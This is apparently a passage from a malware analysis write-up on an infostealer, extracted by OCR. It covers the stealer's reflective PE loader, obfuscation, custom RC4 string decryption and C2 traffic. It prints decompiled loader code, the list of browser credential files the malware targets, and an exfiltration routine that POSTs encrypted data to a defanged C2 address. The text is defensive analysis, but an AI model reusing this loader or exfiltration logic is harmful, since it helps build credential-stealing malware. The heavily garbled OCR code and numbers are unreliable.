DWORD OffsetOfSectionTable;
DWORD NumberOfSection_0x6;
DWORD ErrorCode_0x44;
DWORD ExecutionResult_0x48;
DWORD PayloadStage_at@x4c;

Back to the powershell script:

=> These 3 parameter will be sent to the attacker server, the server grab the malware
e Error code, to see where did the malware fail to execute
e Payload stage, to see where the malware executed

o Execution result, to see the result of the function, or API

3.3.3. Reflective PE Loading and Payload Detonation

 First, we need to understand the function the malware use to convert raw offset to image RVA
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1

2

3

4 _ imte4 _ fastcall fn_offset_to RVA(
5 DWORD fileOffset,

6 unsigned int numSections,

7 IMAGE_SECTION_HEADER *sections)

8

9 QWORD 1i;

1@

11 if ( numSections < 2 )

12 {

13 LE_CONTINUE:

14 i = numSections - 1;

15 }

16 else

17 {

18 i =8LL;

19

28

21 while ( *(&sections->VirtualAddress + 2 * 1) <= fileOffset )
22 {

23 if ( numSections - 1LL == ++i )
24 goto LB_CONTIMUE;

25 !

26 }

27

28

29 return *&sections->Name[8 * i] + fileOffset - *&sections->Name[8 * i + 4];
3@}

Further reading this blog for the full analysis

Given a raw file offset

|
v
Search the PE section table

|
v
Find the section that contains the file offset

|
v
RVA = VirtualAddress + (FileOffset - PointerToRawData)

|
v
Return the RVA

By implementing its own loader, the malware completely bypasses the Windows OS loader

(ntdll.dII'LdrLoadDIl), evading traditional image load callbacks and module enumeration tools.
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Memory Allocation and RWX Staging: The loader first calls NtAllocateVirtualMemory to reserve a
large block of memory (0x11A000 bytes) in the current process (-1LL). It immediately alters the memory
protection to PAGE_EXECUTE_READWRITE (RWX) using NtProtectVirtualMemory . While RWX
memory is a common indicator of compromise (IoC) flagged by EDRs, the malware relies on its direct

syscall implementation to bypass user-mode hooks during this allocation.

Manual Image Mapping: Instead of loading the executable from disk, the shellcode manually parses the
decrypted payload's PE headers. It allocates a secondary heap structure for section management and

explicitly copies the payload's sections into the newly allocated RWX region.

IAT and Relocation Resolution: To ensure the payload can function at its new, randomized base address,
the loader dynamically rebuilds the Import Address Table. It then processes the Base Relocation Table,

patching absolute memory references throughout the mapped image.

Instruction Cache Flushing: Before transferring execution flow to the newly mapped code, the loader
calls NtFlushInstructionCache . This is a critical step in reflective injection; it forces the CPU to discard
any stale, prefetched data in the instruction cache and fetch the newly written malware instructions from

memory, preventing execution crashes.

Detonation and Telemetry: The entry point is calculated by adding the relative virtual address 0x8F834
to the allocated base address. The loader casts this address as a function pointer and calls it, passing

DLL_PROCESS_ATTACH to detonate the main stealer logic.
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AllocatedAddress = NEtAllocatevirtualMemoryl -1LL, Ctx->Allocationsize BxL1AEES ) ;
Ctx->AllocatedAddressSize Bx11A808 = AllocatedAddress;
if ( !AllocatedAddress )
goto LB _ERROR_ALLOCATE MEMORY;
T
++(Ctx->PayloadStage_atlxdc;
if { !NtProtectVirtualMemory 8(
@xFFFFFFFFFFFFFFFFLL, Allocate memory
AllocatedAddress,
Ctx->AllocationSize Bwl 14608,
PAGE_EXECUTE READWRITE) )

#p_ErrorCode_@xd44 = ERR_PROTECTION CAMNOT CHANGE PAGE EXECUTE_READWRITE:
goto LB _CLEAMUP SUCCESS:

%

++(tx-*PayloadStage_atéxdc;

SectionInfo = NtAllocateVirtualMemory(-1LL, & * Ctx-:NumberOfSection_Bx6);

v23[@] = SectionInfo;

if { SectionInfo )

i

TectionPTR = Sectioninto;

++Ctu->Payloadstage_at@udc; Manual ma P
fn_copy_section_to_heap(Ctx, SectionInfo);

++Ctx->PayloadStage_at@xdc;

fn_resolve_import_table(Ctx, 5ectionPTR, LoadlLibraryA PTR, GetProcAddress_):
++Ctx->PayloadStage_at@xdc;

fn_process_relocation_table(Ctx, SectionPTR);

++Ctx->PayloadStage at@xdc;
Ctx->A11u:ucated.ﬂ.ddr"essSize_Bx‘llA-.'aBB + Ctu->D11MainEntryPoint Bx8F834);
MtStatus = fn_NtFlushInstructionCache_wrapper(-1LL, @&LL, @LL);
if ( MtStatus < @ )
{
*p_ErrorCode_&w44 = ERR_FLUSH_CACHE;
#*p_EwecutionResult_@xd4d = NtStatus:
H
++H{tx-*PayloadStage_at@xdc;

Call D11IMain with

- Potnterfofianbata « (AVA - VirtustAddress)— pLL_PROCESS_ATTACH

Yor @B E
= LAAS ACE DT = CAULL T

PayloadD11Main{Ctx-»AllocatedAddress5ize_8x11A088, DLL_PROCESS_ATTACH, @LL);

++Ctx-*PayloadStage_at@xdc;
goto LB CLEANUP_SUCCESS;
h
LB_ERROR_ALLOCATE_MEMORY :
#*p_ErrorCode_8x44 = ERR_ERROR_ALLOCATE MEMORY ;
LB_CLEANUP_ SUCCESS:
fn_cleaup_buffer_write file(@xFFFFFFFFFFFFFFFFLL, w23, 8 * Ctw-»NumberOfSection_8x6);
++Ctx-=PayloadStage_at@xdc;
return 8LL;
1

return result;

i

The fn_copy_section_to_heap function serves as the core memory mapping loop within the malware's custom

PE loader. Its primary responsibility is to replicate the behavior of the Windows OS loader by correctly placing
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each section of the executable (such as .text , .data ,or .rdata ) into the newly allocated RWX memory

space.

By iterating through the PE file's Section Table (incrementing by 40 bytes, the exact size of an
IMAGE_SECTION_HEADER), the function extracts three critical values for each section: the

PointerToRawData (where the section lives in the dropped file), the SizeOfRawData (how big the section is),
and the VirtualAddress (the Relative Virtual Address or RVA where the section expects to reside in memory). It
then utilizes a standard memcpy operation to copy the raw bytes from the file buffer directly into the allocated
memory region at the correct VirtualAddress offset. Concurrently, it updates a custom SectionInfo tracking array,
ensuring the loader maintains a record of the mapped sections for subsequent Import Address Table (IAT)

resolution and base relocations.

unsigned _ int6d _ fastcall fn_copy_section_to_heap(
MlY_CONTEXT *Context,
IMAGE_SECTION HEADER *SectionInfo)

{ Copy every sections to
if { Context->NumberOfSection_Bwx6 )

L allocated buffer
SectionTableVa = Context->0ffsetOfSectionTable;

i = @LL;
do

-
4

Section = Context-»SectionBase;
VirtualAddressVa = *(&5ection->»VirtualAddress + SectionTableVA);
SizeQfRawDataVh = *(&5ection->SizeCfRawlata + SectionTableVa);
PointerToRawDataVA = *{&5ection->PointerToRawData + SectionTableWA) ;
*g5ectionInfo->Name[8 * 1] = PointerToRawDataVA;
*g5SectionInfo->Name[8 * i + 4] = VirtuvalfAddressWA;
memcpy |
Context-»AllocatedAddressSize @x11A888 + VirtualAddressvAa,
Context-»SectionBase + PointerToRawDataVa,

SizeQfRawDatalia)
ectionTableVA += 48;

++i; -—-__—"SiZEDFEIMﬁGE SECTION HEADER)
result = Context-:NumberOfsection_Bx6;
T
while ( i < result };
h
return result;
T

The function operates by locating the PE file's Import Directory and iterating through the array of
IMAGE_IMPORT_DESCRIPTOR structures. For each dependent module:

1. Module Loading: It extracts the DLL name via DIINameRva and invokes the passed LoadlLibraryA

pointer to ensure the required library is mapped into the process space.

2. Thunk Parsing: It walks the OriginalFirstThunk array (the Import Name Table/INT) to process every
required AP

3. Ordinal vs. Name Resolution: The loader checks the highest bit of the thunk value (ThunkValue >= 0) to

determine how the API is imported. If the high bit is set, it extracts the ordinal number using a bitwise
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mask (0x7FFFFFFFFFFFFFFFLL). Otherwise, it calculates the address of the
IMAGE_IMPORT_BY_NAME structure, bypassing the 2-byte hint to extract the API name string.

4. IAT Patching: It uses GetProcAddress to retrieve the live, absolute memory address of the target API and

writes this resolved pointer directly into the corresponding IATEntryRVA within the payload's newly
allocated RWX memory block.

1 __inte4 _ fastcall fn_resolve_import_ table(

2 Mbl_CONTEXT *Context,

3 __inted4 RawImageBase,

4 _ inted4 {_ fastcall *LoadLibraryA)(_ inted),

5 _inted (_ fastcall *GetProcAddress)(__inted, _ intéd))

6 {

7

8

9 ImportDescRVA = fn_offset_to RVA(Context-»PayloadHeader.IATOFfset, Context->NumberlfSection_ewxé, RawImageBase);
18 SectionBasePtr = Context-:PayloadHeader.IATSize;

11 ImportDescriptorCount = Context-»PayloadHeader.IATSize / sizeof IMAGE IMPORT_DESCRIPTOR - 1;

12 if { Context-:PayloadHeader.IATSize / sizeof IMAGE_TMPORT_DESCRIPTOR != 1 )

13 {

14 SectionBasePtr = Context->SectionBase;

15 descriptorIndex = @;

16 do

17 {

18 OriginalFirstThunkRVA = fn_offset to RVA( Resolves the OriginalFirstThunk
19 #*(SectionBasePtr + ImportDescRVAD,

20 Context- *Number0fsection_@xé, and OLL name offsets
1 RawImageBase) ;

22 D11NameRva = fn_offset_to_RVA(

3 #*(Context-»SectionBase + ImportDescRVA + offsetof(_IMAGE_IMPORT_DESCRIPTOR, Name)),
24 Context- *NumberOfSection_B@x6,

5 RawImageBasze);

25 SectionBase = Context-:SectionBase;

27 = % ' W& + offsetof(_IMAGE_IMPORT_DESCRIPTOR, FirstThunk)):
= | Resolving modules

29 ECL10Nbase;

3@ ThunkValue = *{SectionBasePtr + OriginalFirstThunkRVAJ;

31 if { ThunkValue )

32 {

33 ThunkOffset = OriginalFirstThunkRVA + offsetof(_IMAGE_IMPORT_DESCRIPTOR, ForwarderChain);

34 do

35 i

35 if { ThunkValue »= @ )

37 APIName = Context-»SectionBase

38 + fn_offset_to RVA(ThunkValue, Context-:NumberOfSection_@x6, RawImageBase)

39 + 2;

48 else -

41 APIName = ThunkValue & @x7FFFFFFFFFFFFFFFLL; RE‘SDlVlﬂg AP1
42 I*{Cnntext—>A11ncatedAddressSize_@xl‘.lAG-ae + ThunkEntry) = GetProcAddress({hModule, APIName); I
43 LODWORD { ThunkEntry) = ThunkEntry + &;

44 SectionBasePtr = Context-:»SectionBasze;

45 ThunkValue = *({SectionBasePtr + ThunkOffset);

45 ThunkOffset += 8;

a7 }

48 while { ThunkValue };

49 3

e ImportDescRVA += sizeof IMAGE_IMPORT_DESCRIPTOR;

51 ++descriptorIndex;

52 3

53 while ( descriptorIndex != ImportDescriptorCount );

54 3

55 return SectionBasePtr;

56}

Next, the loader processes the PE Base Relocation Directory of the manually mapped payload. The function

converts the relocation directory's raw file offset to a raw image pointer, calculates the relocation delta between
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the payload's preferred image base and its actual mapped address, then iterates through each
IMAGE_BASE_RELOCATION block. For each relocation entry, it applies the appropriate adjustment for
supported relocation types IMAGE_REL_BASED_DIR64 and IMAGE_REL_BASED_HIGHLOW), skips
IMAGE_REL_BASED_ABSOLUTE padding entries, records the relocation types encountered, and reports an

error if an unsupported relocation type is found.

1 _ inte4 _ fastcall fn_process_relocation_table (MW _COMTEXT #Ctx, IMAGE_SECTION_HEADER *Section)
2 {

3

4 BaseRelocRawRVA = fn_offset_to RVA(Ctx->PayloadHeader.BaseRelocOffset, Ctx->NumberOfSection_8x6, Section);
5 BaseRelocDirectorySize = Ctx-»PayloadHeader.BaseRelocSize;

[

7 if ( BaseRelocDirectorySize )

8 {

9 MappedImageBase = Ctx->»AllocatedAddressSize @x11A888;

18 #*ZRelocationDelta = MappedImageBase - *&Ctx->»PayloadHeader.PreferredImageBase;
11 RawImageBase = Ctx->SectionBase;

12 for ( ProcessedRelocBytes = @; ProcessedRelocBytes < BaseRelocDirectorySize; ProcessedRelocBytes += CurrentBlockSize )
13 {

14 CurrentBlockSize = *(RawImageBase + BaseRelocRawRVA + offsetof(_IMAGE_BASE_RELOCATION, SizeQfBlock));
15 if ( CurrentBlockSize - 8 »= 2 )

16 {

17 RelocBlock = (RawImageBase + BaseRelocRawRVA);

18 RelocPageBase = (MappedImageBase + RelocBlock-»VirtualAddress);
19 EntryIndex = @LL;

28 do

27 {

22 *&RelocEntry = *(&RelocBlock[1].VirtualAddress + EntryIndex);
23

24

25

26

27

28 *&RelocType = *&RelocEntry »>»> 12;

29 Ctx->ExecutionResult_@x48 |= 1 << (*&RelocEntry >> 12);

3@

31

32

33

34

35 if ( *&RelocEntry »>= 8x1088u )

36 {

37 *%RelocOffset = RelocEntry & @xFFF;

38 if { RelocType == IMAGE_REL_BASED_DIRG4 )

39

48 #*&RelocPageBase[ *&RelocOffset] += *ZRelocationDelta;

41 T

42 else if { RelocType == IMAGE_REL_BASED_HIGHLOW )}

43 1

44 *ERelocPageBase[*&RelocOffset] += RelocationDelta;

45 T

45 else if ( Ctx->ErrorCode_8x44 != RELOC_ERROR_LOCKED )

47 1

43 Cix->ErrorCode_8x44 = ERROR_RELOC_UNKNCWN_TYPE;

49 T

5@ T

51 ++EntryIndex;

52 ¥

53 while { (CurrentBlockSize - 8) »» 1 != EntryIndex );

54 ¥

55 BaseRelocRawRVA += CurrentBlockSize;

56 %

57 j!

=t return 1LL;

59 3

Lastly, after resolving imports and applying relocations, the loader computes the runtime address of the payload's
DllMain by adding its entry-point RVA to the mapped image base. It then flushes the CPU instruction cache to
ensure any modified code is visible to the processor, updates the payload execution stage, and invokes DIIMain
with the standard DLL_PROCESS_ATTACH reason, transferring execution to the manually mapped payload as if
it had been loaded by the Windows PE loader.
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1 if { SectionInfo )

2 {

3 SectionPTR = SectionInfo;

4 ++Ctx->PayloadStage_at@xdc;

5 fn_copy_section_to_heap(Ctx, SectionInfo);

[ ++Ctx->PayloadStage_at@xdc;

7 fn_resolve_import_table(Ctx, SectionPTR, LoadLibraryA_PTR, GetProcAddress_);
8 ++Ctx->PayloadStage_at@xdc;

g fn_process_relocation_table{Ctx, SectionPTR);
18 ity -sPavloadstaos ai@wdr:
11 |PaylualelMain = (Ctx-rAllocatedAddressSize Bx11A088 + Ctx->D11MainEntryPoint_@xEFS34];|
12 MtStatus = fn_MtFlushInstructionCache wrapper(-1LL, @LL, @LL};
13 if { MtStatus < @ )
14 £
15 *p_ErrorCode_&x44 = ERR_FLUSH_CACHE;
16 *p_ExecutionResult_@x48 = NtStatus;
17 }
18 ++Ctx->PayloadStage_at@xdc;
19
28
21
22
23
24
25
26
27 PayloadD11Main( Ctx-*AllocatedAddressSize_@x11A888, DLL_PROCESS_ATTACH, @LL);
28
29 ++Ctx->PayloadStage_at@xdc;
38 goto LB _CLEANUP SUCCESS;
Exl T

37

The payload stores the entry point as an RVA (Relative Virtual Address) rather than a raw file offset. To locate the
corresponding code in the raw payload, the loader converts the RVA to a file offset using the PE section table.
Since the entry point resides in the first section (Virtual Address = 0x1000, PointerToRawData = 0x400), the

calculation is:

RawOffset = PointerToRawData + (RVA - VirtualAddress)
0x400 + (0x8F834 - 0x1000)
Ox8EC34

3.3.4. Obfuscation

From the DIIMain, every function contains a significant amount of control-flow obfuscation designed to hinder

static analysis.
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fn_ret_param(@8x186877ABU) ;
fn_ret_param(@x458u);
fn_ret_param(@xFu);
fn_ret_param(@x4Du) ;
fn_ret_param(@xasu) ;
if { fn_ret_param(3u} )
{

vie = 8;

do

++v1a;

while { v1@ < fn_ret_param{3u)
I
fn_ret_param(@xCu);
fn_ret_param(@xl6u);
fn_ret_param(@x74u);
fn_ret_param(@xEBu};
fn_ret_param(@x134632u);
fn_ret_param(@8x538AB086) ;
fn_ret_param(@x7977u);
fn_ret_param(@xCu);
fn_ret_param(@xE4DSEAFU) ;
fn_ret_param(8u);
fn_ret_param(cu) ;
fn_ret_param(@x3876CFE3u);
fn_ret_param(8x8ED3DD82) ;
fn_ret_param(@x15u);

3;

There are 11 function created for this obfuscating purpose, each one contains different parameter, we can write a

custom script to trace back then nop all function call and its parameter.

After deobfuscation, the malware became pretty straightforward

void _ fastcall _ noreturn fn_core_payload (HINSTANCE hinstDLL, DWORD fdwReason)

i W\l DECT ARATTON
D LOCAL DECLARATIONS.

PRESS

NI BADAN Tam T

(=]
m
S

=]

fn_init_splay_tree_node(2308, fdwReason);

LauchResult = fn_setup_variable path();

if { LauchResult }

goto LB_EXIT;
fn_init_smth(3u);
while ( 1 )

{

fn_send_packet_C2_curl(8LL, @, START_STEALER_PARENT_LOOP, SIGNAL_PACKET EMPTY_POST_DATA);

fn_browser_stealer();
fn_local_files_stealer();

fn_send_packet_C2_curl(8LL, @, END_STEALER_PARENT_LOOP, SIGNAL_PACKET EMPTY_POST_DATA);

fn_curl_cleanup();

LB_EXIT:

h

ntdll_RtlExitUserThread(LauchResult);

H

3.3.5. String decryption algorithm
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The malware implements its own RC4 algorithm, with custom sbox. There are two RC4 version in the malware,

one for normal string utf-8, one for wide string utf-16, same algorithm - different sbox

1 BOOL fn_RC4_custom_sbox(BYTE *Output, BYTE *Input, DWORD Length, BYTE *Key, DWORD KeylLength)
2 {

3 [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+ TO EXPAND]
4

5 sBox[8] = xmmword_BeA3E;
6 sBox[1l] = xmmword_Basda,
7 sBox[2] = xmmword_Baasa;
8 sBox[3] = xmmword_ BRAAGA;
9 sBox[4] = xmmword_BeATE;
18 sBox[5] = xmmword_Bansa;
11 sBox[6] = xmmword_Baasa,
12 sBox[7] = xmmword_BaAAd;
13 sBox[8] = xmmword_Basba;
14 sBox[9] = xmmword_BaaCa;
15 sBox[18] = xmmword_BBADS;
16 sBox[11] = =mmword_BBAES;
17 sBox[12] = xmmword_ BBAFS;
18 sBox[13] = xmmword_ B2Bes;
19 sBox[14] = xmmword_BEB1O;
28 sBox[15] = =mmword_BBEB28;
2 i = 8LL;

22 Pos = 8;

3 do

24 {

25 sBoxPtr = sBox[i];

26 Pos += Key[i ¥ Keylength] + sBoxPtr;
27 sBox[i] = sBox[Pos];
28 sBox[Pos] = sBoxPtr;
29 ++1;

368 ki

31 while ( i != 256 );

32

After identified the algorithm, we can implement our own decryption script to decrypt all encrypted string
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Address Text

{n_decrypt_rc4_stream_wrapper +15 fn_RC4_custom_sbox
fr_extract_Chrome_profiles_order_cookie +4F call fr_RC4_custom_sbox; profiles_order™\\s= Vs W[\
fr_extract_Chrome_encrypted_key_cookie +53 call fn_RC4_custom_sbox; encrypted_key™s=:\s=" ([~ +)
fr_extract_Chrome_encrypted_key_cookie+2F call fr_RC4_custom_sbox; app_bound_encrypted_key Ve \\is="([~]+)
fri_send_packet_C2_curl+7E3 call fr_RC4_custom_shox; https:/f136.0, 141, 237:8942/GEmGR PvXmD/

fr_copy_encrypt_rc4+1F4  call  fm_decrypt_rc4_wide_stream; —type=utility
fr_copy_encrypt_rc4+230  call f_decrypt_rcd wide_stream; —type=crashpad-handler
fr_copy_encrypt_rc4+269  call  fm_decrypt_rcd_wide_stream; —type=gpu-process
fri_try_steal_login_data_c... cal f_decrypt_rc4 wide_stream; f
fr_try_steal_login_data_c... cal fn_decrypt_rc4_wide_stream; /

fr_try_steal login_data_c... cal f_decrypt_rc4 wide_stream; /Login Data
fr_try_steal_login_data_c... cal f_decrypt_rc4 wide_stream; /Login Data
fri_try_steal_login_data_c... cal f_decrypt_rc4 wide_stream; /Login Data
fr_try_steal_login_data_c... cal f_decrypt_rc4_wide_stream; /Login Data
fr_try_steal_login_data_c... cal f_decrypt_rc4 wide_stream; Chrome
fri_try_steal_login_data_c... call f_decrypt_rcd_wide_stream; Metwork
fri_try_steal_login_data_c... call f_decrypt_rcd_wide_stream; MMetwork
fr_try_steal_login_data_c... cal f_decrypt_rcd wide_stream; /Cookies
fr_try_steal_login_data_c... cal f_decrypt_rc4 wide_stream; /Cookies
fr_extract_Chrome_cooki... cal f_decrypt_rc4 wide_stream; fLocal State
fr_extract_Chrome_cooki... cal f_decrypt_rc4 wide_stream; fLocal State
fr_ched:_Chrome_version... call f_decrypt_rc4_wide_stream; fLast Version
fri_get_browser_cookie_lo... cal fn_decrypt_rc4 wide_stream; Chrome
fri_get_browser_cookie_lo... call f_decrypt_rc4_wide_stream; Cpera
fr_get_browser_cookie_lo... cal fn_decrypt_rcd wide_stream
fr_sqglite_database_relate... cal m_decrypt_rc4_wide_stream; logins.json
fr_sglite_database_relate... cal f_decrypt_rc4 wide_stream; key3.db
fr_sqglite_database_relate... cal fm_decrypt_rcd wide_stream; key4.db
fr_sqglite_database_relate... cal fm_decrypt_rc4 wide_stream; cookies.sglite
fr_sglite_database_relate... cal Mm_decrypt_rcd_wide_stream; f
fn_sglite_database_relate... call fn_decrypt_rc4_wide_stream; f
fr_try_extract_firefox_cr... cal Mm_decrypt_rcd wide_stream; fappData/Roaming/Mozila/Firefox Profiles
fr_try_extract_firefox_cr... cal f_decrypt_rc4_wide_stream; /Firefox
fr_try_extract_firefox_cr... cal fm_decrypt_rcd_wide_stream
fn_try_extract_firefox_cr... call fn_decrypt_rc4_wide_stream
fr_try_extract_firefox_cr... cal fm_decrypt_rcd wide_stream; /
fr_try_extract_firefox_cr... cal f_decrypt_rc4_wide_stream; f
fr_Browser_UserData+99  cal fm_decrypt_rc4_wide_stream; Opera
fn_Browser_UserData+D5 call fn_decrypt_rc4_wide_stream; AppData/Roaming/Opera Software /Opera Stable

o n

I\, When you extract the encrypted string for decryption, remember that the malware manual mapped the no-
header PE payload into its memory, so the offset from the disassembly is pointed in the wrong actual encrypted

bytes, for example, this:

1 fn_decrypt_rcd4_wide_stream(LoginDatastr,| &byte B1166 | 8xBu,|&byte B117E,| BxwlEu);

Encrypted string Rcd Key

First, take a look at section table (extracted from the no-header PE payload)

Ltext
VirtualAddress: 0x1000
SizeOfRawData: @xAF300
PointerToRawData: 0x400
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.rdata

VirtualAddress: 0xB1000
SizeOfRawData: 0x2D300
PointerToRawData: OxAFC00

.data

VirtualAddress: 0xDF00@
SizeOfRawData: 0x2D600
PointerToRawData: 0xDD400

.pdata

VirtualAddress: 0x10F000
SizeOfRawData: 0x8200
PointerToRawData: 0x10AA00

.fptable

VirtualAddress: 0x113000
SizeOfRawData: 0x200
PointerToRawData: 0x112C00

.reloc

VirtualAddress: 0x119000
SizeOfRawData: 0x1000
PointerToRawData: 0x112E00

Section RVA Start RVA End Raw Offset Start Raw Offset End
.text 0x1000 0xB0300 0x400 OxAFC00
.rdata 0xB1000 0xDE800 OxAFC00 0xDD400
.data 0xDF000 0x10C600 0xDD400 0x10AA00
.pdata 0x10F000 0x117200 0x10AA00 0x112C00
.fptable 0x118000 0x118200 0x112C00 0x112E00
.reloc 0x119000 0x11A000 0x112E00 0x113E00

Remember how we calculate DLLMain address (belong in .text section)
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MappedD11MainAddress = PointerToRawData + (RVA - VirtualAddress)
0x400 + (0x8F834 - 0x1000)
0x8EC34

The analyzed shellcode embeds a PE DLL without the standard DOS and NT headers. Instead, the shellcode
contains a custom context structure followed by a manually constructed section table describing the embedded
image. During execution, the shellcode manually maps each section into memory using the section metadata

stored in this table.
The section copy routine performs a direct copy from the embedded DLL into the allocated image:

memcpy |
Context-:>AllocatedAddressSize @x11AB88 + VirtualAddressvA,
Context-»SectionBase + PointerToRawDataVa,
SizeOfRawData);

SectionTableVA += 48;

++i;

[ TN R R W N R

Consequently, all operands referenced by the DLL code are RVAs, while the static analysis is performed directly
on the raw embedded shellcode. Therefore, every RVA must first be translated into its corresponding raw offset

before the referenced data can be located correctly.

For a normal PE image, the conversion is:

RawOffset = PointerToRawData + (RVA — VirtualAddress)

However, this malware stores the embedded DLL in a modified layout. Besides removing the PE headers, the
embedded image is logically rebased so that the beginning of the .text section becomes the logical origin of the

image. As a result, every RVA-to-Raw conversion requires an additional correction equal to the .text section shift:

ImageBias= VA(.text) - Raw(.text)

For this sample:

VirtualAddress = 0x1000
PointerToRawData = 0x400

ImageBias = 0x1000 - 0x400 = 0x(C00

Therefore, the correct conversion used during static analysis becomes:

RawOffset = PointerToRawData + ( RVA — VirtualAddress) - ImageBias
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Section VA RVA End Raw Shift (VA - Raw)
.text 0x1000 0xB0800 0x400 0xC00

.rdata 0xB1000 0xDEB800 0xAFCO00 0x800

.data 0xDF000 0x10C600 0xDD400 0x1000

.pdata 0x10F000 0x117200 0x10AA00 0x3a00

.fptable 0x118000 0x118200 0x112C00 0x4800

.reloc 0x119000 0x11A000 0x112E00 0x5600

1 fn_decrypt_rcd_wide_stream(LoginDatastr,| &byte B1166 ) 8xBu,| &byte B117E,| 8x1Eu);
Encrypted string Rcd Key

Those two address: 0xB1166, and 0xB117E belongs in .rdata section (0xB1000 < 0xB1166 < 0xDE800), we

need to caculate their actual offset when mapped into memory

RawOffset = PointerToRawData_rdata + (RVA - Virtual Address_rdata) + 0xC00 RawOffset = 0XAFC00 + RVA -
0xB1000 + 0xC00 RawOffset = RVA - 0x800

So in our extraction script, we need to subtract 0x800 from the source address to get the actual encrypted

bytes address.

B6FE -» fLogin Data

6342 -» Chrome

BBF3 -» fNetwork

6947 -» fNetwork

GDEQ -»> /Cookies

GE3D -» /Cockies

8@3E -» fLocal State

8264 -» fLocal State
cipher = ida_bytes.get_bytes(encrypted - ©@x888, charcount * 2) 9259 -»> flLast Version

keybuf = ida bytes.get_bytes{key - 8x808, keylen *= 2) 9AB8 -> Chrome
9EAS -> Opera

3.3.6. Communicate with C2

The supplied payload is first copied into a newly allocated buffer, after which a 10-byte packet trailer is appended.
A 2-byte packet type, and a 4-byte packet identifier, allowing the server to distinguish packet boundaries and

message types.

Before transmission, the entire packet is encrypted using an RC4 stream cipher with a hardcoded key. The C2

URL is stored in encrypted form within the binary and is decrypted at runtime, revealing the endpoint:
https[:1//136[.]0[.]1141[.]237:8942/G8mGR7vXmD/
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1 BYTE *_ fastcall fn_send_packet_C2_curl(_ int64 Payload, unsigned int PayloadSize, _ intl6 PacketType, int PacketId)
2 {

3 [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

4

5 CurrentTime = glurrentSystemTime;

[ OutputSize = PayloadSize + @wA;

7 PayloadWithInfo = NtAllocateVirtualMemory(-1LL, PayloadSize + @xA);

8 if ( PayleoadwithInfo )}

9 {

18 if ( Payload && PayloadSize ) .

11 memcpy ([ PayloadWithInfo, Payload, PayloadSize); setup some footer info
12 *&PayloadiWithInfo[Payloadsize] = CurrentTime;

13 #*&PayloadiithInfo[PayloadSize + 4] = PacketType;

14 *gPayloadWithInfo[PayloadSize + 6] = PacketId;

15 TEVLENEL = TN _SCUIICEN DYLE LTIy DL o Rey T,

16 fn_encrypt_RC4({PayloadkithInfo, OutputSize, EncryptionKey, KeylLength); DECI"‘ypt the C2 st r‘ing
17 mset (C2addres A B2yl

18 ﬁ_ﬂtﬂ_custorl_sbox((ﬂcddress, EncryptedC2Address, 38u, &Key, 45u); https://136.8.141,237: 8542 /GEmGR7vXmD I
19 curl = curl_easy 1nit ©(};

20 CurlInfo = curl;

21 if ( curl )

22 {

23 curl_easy setopt(curl, CURLOPT_URL, C2Address);

24 curl_easy setopt(CurlInfo, CURLOPT_POST, 1LL); .

25 curl_easy_setopt(CurlInfo, CURLOPT_POSTFIELDSIZE, OutputSize); setup libcurl’s Cur‘l_ea Sy
26 curl_easy setopt(CurlInfo, CURLOPT_POSTFIELDS, PayloadWithInfo);

27 curl_easy setopt(CurlInfo, CURLOPT_WRITEFUNCTION, fn_curl_callback);

28 curl_easy_setopt(CurlInfo, CURLOPT_SSL_WERIFYPEER, BLL);

29 curl_easy_setopt(CurlInfo, CURLOPT_SSL_WERIFYHOST, @LL);

38 kernel3? Sleep{396slLl);

31 CurlResult = curl_easy exec{Curllnfo);

32 Icurl_easy_cleanup([ur‘l[nfn); I Send the req uest

33 PayloadWithInfo = fn_cleaup_buffer_write_file(@xFFFFFFFFFFFFFFFFLL, &PayloadWithInfo, OutputSize);
34 if ( CurlResult == CURLE_COULDNT_CONNECT }

35 i

36

37 Y Test connection by connecting to hitp://1.1.1 1

38 if { !fn_curl_session_test_connection{) )

39 {

48 fn_cleanup_log file();

41 kernel32_FatalExit(alLL);

42 1

a3 fn_self_removal();

44 ¥

45

45 1se

437

48 return fn_cleaup buffer_write_file(@xFFFFFFFFFFFFFFFFLL, &PayloadWithInfo, OutputSize);
49 3

58 ¥

51 return PayloadWithInfo;

52}

The malware then initializes a libcurl session and performs an HTTPS POST request with the encrypted packet as
the request body. SSL certificate validation (CURLOPT_SSL_VERIFYPEER) and hostname verification
(CURLOPT_SSL_VERIFYHOST) are explicitly disabled, allowing communication with self-signed or otherwise

untrusted certificates. A delay of approximately 3.9 seconds is introduced before the request is sent.

We can use this repo for some libcurl's signature.

File State #unc  Library name
libcurl-vc-x36-release-static-Hipva-sspi-winssl-7.65.1...  Applied & libcurl-vc-xg6-release-staticHpva-sspi-winssl-7.65. 1
| libcurl-vc-na4-release-staticipve-sspi-winssl-7.65.1...  Applied 23 libcurl-vc-x64-release-staticHpva-sspi-winssl-7.65. 1

If the connection to the C2 server fails (CURLE_COULDNT_CONNECT), the malware attempts to determine

whether the host has Internet connectivity by sending a request to http://1.1.1.1. If this connectivity test also fails,
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it assumes the system is offline, cleans up its log files, and immediately terminates the process. Otherwise, it
concludes that the Internet is available but the C2 is unreachable, triggering its self-removal routine to reduce

forensic artifacts and avoid remaining active on the compromised host.

if { CurlResult == CURLE_COULDNT_CONMECT )
{

if { !fn_curl_session_test_connection() )
{

fn_cleanup_log_file();

kernel32 FatalExit({@LL);
H

fn_self_removal();

i

Here is some signal code that the malware use to communicate with the C2 before any main action

enum MW_C2_CODE : unsigned __int64

{
SIGNAL_PACKET_EMPTY_POST_DATA = 0x9C59DF30LL,
START_STEALER_PARENT_LOOP = 60,
END_STEALER_PARENT_LOOP = 188,
START_EXTRACT_BROWSER_DATA = 131,
END_EXTRACT_BROWSER_DATA = 207,
START_LOCAL_FILE_STEALER = 217,
END_LOCAL_FILE_STEALER = 133

}

fn_send_packet_C2_curl(BLL, @, [START_STEALER_PARENT_LOOP,| SIGNAL_PACKET_EMPTY_POST_DATA);
fn_browser_stealer(); Wean o POST datal mead
fn_local files stealer(); o B
fn_send_packet (2 curl(BLL, @, [END_STEALER_PARENT_LOOP,| SIGMAL PACKET EMPTY POST DATA):
fn_curl_cleanup();

oy

vold fn_local files_stealer(}
1
fn_send_packet C2_curl(BLL, @, START LOCAL_FILE_STEALER, SIGMAL_PACKET EMPTY_ POST DATA);
fn_local files_discovery();
if ( fn_zip user_data_folder() )
fn_send_zip_file to C2(};
fn_cleanup_log file();
fn_send_packet C2_curl(BLL, @, END_LOCAL_FILE STEALER, SIGMAL_PACKET EMPTY POST DATA):
fn_noop_function();
